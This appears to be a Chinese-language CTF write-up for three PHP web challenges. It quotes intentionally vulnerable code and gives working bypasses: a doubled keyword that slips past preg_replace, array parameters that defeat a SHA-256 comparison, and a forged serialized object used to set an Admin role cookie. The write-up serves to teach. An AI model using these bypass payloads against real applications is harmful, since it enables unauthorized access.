web
Pretty Horrible Program 1
考点:双写绕过preg_replace
1 2 3 4 5 6 7 8 9
| <?php if (isset($_GET['bingus'])) { $input = $_GET['bingus']; $to_replace = 'bingus'; $clean_string = preg_replace("/$to_replace/", '', $input); echo "<p>Your string is: $clean_string</p>"; if ($clean_string == $to_replace) { echo "<h2 class=\"answer\">Bingus <span style=\"color: green;\">IS</span> your beloved</h2>"; output_flag();
|
$clean_string = preg_replace(“/$to_replace/“, ‘’, $input);
关键代码,get传参一个bingus,由于preg_replace会把一个bingus替换为空,但是下面又要等于bingus,我们可以双写bingbingusus
Pretty Horrible Program 3
考点:hash强碰撞
1 2 3 4 5 6 7 8 9 10 11
| ?php if (isset($_GET['input1']) and isset($_GET['input2'])) { if ($_GET['input1'] == $_GET['input2']) { print '<h3 class="error">Nice try, but it won\'t be that easy ;)</h3>'; } else if (hash("sha256", $_GET['input1']) === hash("sha256", $_GET['input2'])) { output_flag(); } else { print '<h3 class="error">Your inputs don\'t match</h3>'; } } ?>
|
这里我们需要输入input1和input2,并且1与2不能相同,但是他们的sha256要相同可以这样绕过
input1[]=1&input2[]=2
Pretty Horrible Program 2
考点:简单php反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class User {
public $role="Admin";
} $s = new User(); $c = serialize($s); echo $c; ?>
|
这里cookie 的role必须要是admin,所以我们把User换成admin,其他注释掉,输出就可以了
由于我们这里是post 和 cookie提交 ,要注意编码问题,我们这里直接urlencode,提交就可以了
最后
一直在路上